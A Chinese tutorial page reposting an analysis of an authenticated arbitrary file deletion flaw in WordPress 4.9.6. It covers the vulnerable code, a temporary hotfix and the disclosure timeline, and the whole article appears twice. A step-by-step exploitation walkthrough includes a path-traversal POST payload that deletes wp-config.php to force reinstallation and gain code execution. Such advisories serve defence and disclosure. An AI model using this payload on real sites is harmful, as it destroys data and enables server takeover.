您现在的位置是:首页 > cms教程 > WordPress教程WordPress教程
Wordpress漏洞分析和解决方法
冰兰2025-03-25WordPress教程已有人查阅
导读0x01 Wordpress简介WordPress是网络上受欢迎的CMS。根据w3tech,大约30%的网站使用它1。这种广泛的采用使其成为网络罪犯的一个有趣目标。在这篇博文中,我们将介绍WordPress核
0x01 Wordpress简介
WordPress是网络上受欢迎的CMS。根据w3tech,大约30%的网站使用它
1。这种广泛的采用使其成为网络罪犯的一个有趣目标。在这篇博文中,我们将介绍WordPress核心中经过身份验证的任意文件删除漏洞,该漏洞可能导致攻击者执行任意代码。7个月前,该漏洞已报告给WordPress安全团队,但仍未修补。自首次报告以来已经过去很长时间没有任何补丁或具体计划,这使我们决定将其公之于众。
0x02 漏洞分析
近日RIPS团队 ( 作者:Karim El Ouerghemmi ) 公开了一个Wordpress的任意文件删除漏洞(需要登录),目前该漏洞仍然未修复(2018年06月27日),该漏洞影响 Wordpress 较新版 4.9.6.
文件wp-includes/post.php中:
文件/wp-admin/post.php中:
临时修补程序
通过将修复程序添加到functions.php当前活动的主题/子主题的文件中,可以将修复程序集成到现有的WordPress安装中。
提供的修复程序最终应视为临时修复,以防止攻击。我们无法监督WordPress插件的所有可能的向后兼容性问题,并建议您谨慎对WordPress文件进行任何修改。
披露时间:时间线
日期 什么
2017年11月20日 在Hackerone上向WordPress安全团队报告了漏洞。
2017年11月22日 该漏洞由安全团队进行分类和验证。
2017年12月12日 要求进步。
2017年12月18日 Wordpress正在开发一个补丁。要求发布日期。没有反应。
2018年1月9日 要求发布日期。没有反应。
2018年1月20日 由于问题的严重性和缺乏沟通而被要求对Hackerone进行调解。
2018年1月24日 WordPress安全团队估计修复时间为6个月。
2018年5月24日 被问及有关该问题的进展和/或计划,并提醒我们将尽快发布。没有反应。
2018年5月24日 将twitter DM发送给安全团队的成员,以确保他们不会忽略Hackerone上的消息。
2018年6月26日 该问题在报告后超过7个月未得到修补。
详细分析可见:WARNING: WordPress File Delete to Code Execution -
https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/0x03 漏洞利用
条件:需要登陆后台,有点鸡助
后台地址:
http://10.10.10.103/wp-login.php?redirect_to=http%3A%2F%2F10.10.10.103%2Fwp-admin%2F&reauth=1
进入后台后,点击Media(媒体),在点击Add New (添加)
进入到上传文件位置
上传好图片以后,点击右边Edit(编辑按钮)
跳转到
http://10.10.10.103/wp-admin/post.php?post=21&action=edit
此时打开F12,搜索post.php,找到_wpnonce的值为d8efee3064
然后发送post数据包 (需要带入cookie值)
POST /wp-admin/post.php?post=21&action=edit HTTP/1.1
payload: action=editattachment&_wpnonce=d8efee3064&thumb=../../../../wp-config.php
发送成功会返回302状态
此时在点击删除按钮 Delete Permanently
http://10.10.10.103/wp-admin/post.php?post=21&action=delete&_wpnonce=05621e9c6b
抓包查看,也是返回302包
再去网站根目录查看wp-config.php
发现wp-config.php (数据库配置文件被成功删除了)
再次访问首页, 会发现提示你重新安装wordpress
影响 - 攻击者可以做些什么
利用此漏洞可以使攻击者能够删除WordPress安装的任何文件(+ PHP进程用户具有删除权限的服务器上的任何其他文件)。除了擦除整个WordPress安装的可能性,如果没有可用的当前备份可能会产生灾难性后果,攻击者可以利用任意文件删除的能力来规避一些安全措施并在Web服务器上执行任意代码。更确切地说,可以删除以下文件:
.htaccess:通常,删除此文件不会产生任何安全后果。但是,在某些情况下,.htaccess文件包含与安全性相关的约束(例如,对某些文件夹的访问约束)。删除此文件将停用这些安全约束。
index.php文件:通常将空的index.php文件放入目录中,以防止Web服务器无法执行此操作的目录列表。删除这些文件会向攻击者授予受此度量保护的目录中所有文件的列表。
wp-config.php:删除WordPress安装的这个文件会在下次访问网站时触发WordPress安装过程。这是因为wp-config.php包含数据库凭据,并且没有它的存在,WordPress就像尚未安装一样。攻击者可以删除此文件,使用他为管理员帐户选择的凭据进行安装过程,之后在服务器上执行任意代码。
WordPress是网络上受欢迎的CMS。根据w3tech,大约30%的网站使用它
1。这种广泛的采用使其成为网络罪犯的一个有趣目标。在这篇博文中,我们将介绍WordPress核心中经过身份验证的任意文件删除漏洞,该漏洞可能导致攻击者执行任意代码。7个月前,该漏洞已报告给WordPress安全团队,但仍未修补。自首次报告以来已经过去很长时间没有任何补丁或具体计划,这使我们决定将其公之于众。
0x02 漏洞分析
近日RIPS团队 ( 作者:Karim El Ouerghemmi ) 公开了一个Wordpress的任意文件删除漏洞(需要登录),目前该漏洞仍然未修复(2018年06月27日),该漏洞影响 Wordpress 较新版 4.9.6.
文件wp-includes/post.php中:
function wp_delete_attachment( $post_id, $force_delete = false ) {
...
$meta = wp_get_attachment_metadata( $post_id );
...
if ( ! empty($meta['thumb']) ) {
// Don't delete the thumb if another attachment uses it.
if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id)) ) {
$thumbfile = str_replace(basename($file), $meta['thumb'], $file);
/** This filter is documented in wp-includes/functions.php */
$thumbfile = apply_filters( 'wp_delete_file', $thumbfile );
@ unlink( path_join($uploadpath['basedir'], $thumbfile) );
}
}
...
}
$meta['thumb']来自与数据库,是图片的属性之一。代码未检查$meta['thumb']的内容,直接带入unlink函数,如果$meta['thumb']可控则可导致文件删除。文件/wp-admin/post.php中:
...
switch($action) {
...
case 'editattachment':
check_admin_referer('update-post_' . $post_id);
...
// Update the thumbnail filename
$newmeta = wp_get_attachment_metadata( $post_id, true );
$newmeta['thumb'] = $_POST['thumb'];
wp_update_attachment_metadata( $post_id, $newmeta );
...
$newmeta['thumb']来自于$_POST['thumb'],未经过滤直接将其存入数据库,即上一步的$meta['thumb']可控。临时修补程序
通过将修复程序添加到functions.php当前活动的主题/子主题的文件中,可以将修复程序集成到现有的WordPress安装中。
add_filter( 'wp_update_attachment_metadata', 'rips_unlink_tempfix' );
function rips_unlink_tempfix( $data ) {
if( isset($data['thumb']) ) {
$data['thumb'] = basename($data['thumb']);
}
return $data;
}
所提供的Hotfix所做的就是挂钩wp_update_attachement_metadata()调用并确保为元值提供的数据thumb不包含任何可以进行路径遍历的部分。因此,不能删除任何安全相关文件。提供的修复程序最终应视为临时修复,以防止攻击。我们无法监督WordPress插件的所有可能的向后兼容性问题,并建议您谨慎对WordPress文件进行任何修改。
披露时间:时间线
日期 什么
2017年11月20日 在Hackerone上向WordPress安全团队报告了漏洞。
2017年11月22日 该漏洞由安全团队进行分类和验证。
2017年12月12日 要求进步。
2017年12月18日 Wordpress正在开发一个补丁。要求发布日期。没有反应。
2018年1月9日 要求发布日期。没有反应。
2018年1月20日 由于问题的严重性和缺乏沟通而被要求对Hackerone进行调解。
2018年1月24日 WordPress安全团队估计修复时间为6个月。
2018年5月24日 被问及有关该问题的进展和/或计划,并提醒我们将尽快发布。没有反应。
2018年5月24日 将twitter DM发送给安全团队的成员,以确保他们不会忽略Hackerone上的消息。
2018年6月26日 该问题在报告后超过7个月未得到修补。
详细分析可见:WARNING: WordPress File Delete to Code Execution -
https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/0x03 漏洞利用
条件:需要登陆后台,有点鸡助
后台地址:
http://10.10.10.103/wp-login.php?redirect_to=http%3A%2F%2F10.10.10.103%2Fwp-admin%2F&reauth=1
进入后台后,点击Media(媒体),在点击Add New (添加)
进入到上传文件位置
上传好图片以后,点击右边Edit(编辑按钮)
跳转到
http://10.10.10.103/wp-admin/post.php?post=21&action=edit
此时打开F12,搜索post.php,找到_wpnonce的值为d8efee3064
然后发送post数据包 (需要带入cookie值)
POST /wp-admin/post.php?post=21&action=edit HTTP/1.1
payload: action=editattachment&_wpnonce=d8efee3064&thumb=../../../../wp-config.php
发送成功会返回302状态
此时在点击删除按钮 Delete Permanently
http://10.10.10.103/wp-admin/post.php?post=21&action=delete&_wpnonce=05621e9c6b
抓包查看,也是返回302包
再去网站根目录查看wp-config.php
发现wp-config.php (数据库配置文件被成功删除了)
再次访问首页, 会发现提示你重新安装wordpress
影响 - 攻击者可以做些什么
利用此漏洞可以使攻击者能够删除WordPress安装的任何文件(+ PHP进程用户具有删除权限的服务器上的任何其他文件)。除了擦除整个WordPress安装的可能性,如果没有可用的当前备份可能会产生灾难性后果,攻击者可以利用任意文件删除的能力来规避一些安全措施并在Web服务器上执行任意代码。更确切地说,可以删除以下文件:
.htaccess:通常,删除此文件不会产生任何安全后果。但是,在某些情况下,.htaccess文件包含与安全性相关的约束(例如,对某些文件夹的访问约束)。删除此文件将停用这些安全约束。
index.php文件:通常将空的index.php文件放入目录中,以防止Web服务器无法执行此操作的目录列表。删除这些文件会向攻击者授予受此度量保护的目录中所有文件的列表。
wp-config.php:删除WordPress安装的这个文件会在下次访问网站时触发WordPress安装过程。这是因为wp-config.php包含数据库凭据,并且没有它的存在,WordPress就像尚未安装一样。攻击者可以删除此文件,使用他为管理员帐户选择的凭据进行安装过程,之后在服务器上执行任意代码。
本文标签:
很赞哦! ()
相关教程
图文教程
wordpress后台进不去的解决方法
wordpress进不去的解决办法:1、把地址栏“wp-login.php”后面的参数删掉,然后重新输入密码登录;2、登录FTP,下载“pluggable.php”文件
kali系统中安全扫描软件wordpress应用程序的工具
WPScan是一款针对wwordpress的安全扫描软件;WPScan可以扫描出wordpress的版本,主题,插件,后台用户以及爆破后台用户密码等。
nginx做代理部署WordPress的方法示例
实验环境:CentOS7服务器172.16.252.142做Nginx代理服务器:[root@conf.d localhost]#iptables -F[root@conf.d localhost]#setenforce 0[root@conf.d localhost]#yum -y in
wordpress博客怎么关闭用户注册功能
我们在使用博客系统时,由于是个人博客,服务器性能有限,这是我们可以通过关闭博客的注册功能来减轻服务器的运行压力。
相关源码
-
(响应式自适应)小学初中作文论文文章资讯博客pbootcms模板下载为中小学作文、教育类网站设计,特别适合展示学生作文、教学资源和写作指导等内容。采用响应式技术,确保在不同设备上都能获得良好的阅读体验。查看源码 -
(自适应)html5宽屏电线电缆材料加工制造类企业网站源码下载本模板基于PbootCMS系统开发,特别适合电线电缆、电缆材料及相关加工制造类企业使用。采用HTML5宽屏设计,能够展示各类电缆产品的技术参数和规格详情,帮助客户全面了解产品特性。查看源码 -
HTML5响应式健身俱乐部pbootcms网站模板下载为健身俱乐部、瑜伽中心及运动场馆设计的响应式网站模板,采用PbootCMS内核开发,支持一键替换图文适配健身器材销售、瑜伽工作室等多类型运动健康产业。查看源码 -
帝国CMS中小学生知识点试题练习题考试源码下载基于帝国CMS后台管理系统,支持在线修改联系信息、网站参数等配置,操作流程简洁明了。专注于中小学教育领域,集成知识点总结、试题练习、考试资讯等学习资源,为师生提供全面的在线学习支持与服务。查看源码 -
(自适应)幽默笑话脑筋急转弯搞笑趣图博客pbootcms模板下载本模板基于PbootCMS系统开发,专为幽默笑话、搞笑趣图类网站设计。采用轻松活泼的布局风格,突出娱乐内容分享特色,适合各类笑话、段子、搞笑图片等内容展示。查看源码 -
(自适应)宽屏大气的净水器智能电子设备网站pbootcms源码下载本模板基于PbootCMS内核开发,为净水器设备、智能电子设备企业量身打造,采用响应式设计技术,可快速构建专业级企业官网。通过本模板可高效展示产品技术参数、解决方案及企业服务优势。查看源码
| 分享笔记 (共有 篇笔记) |

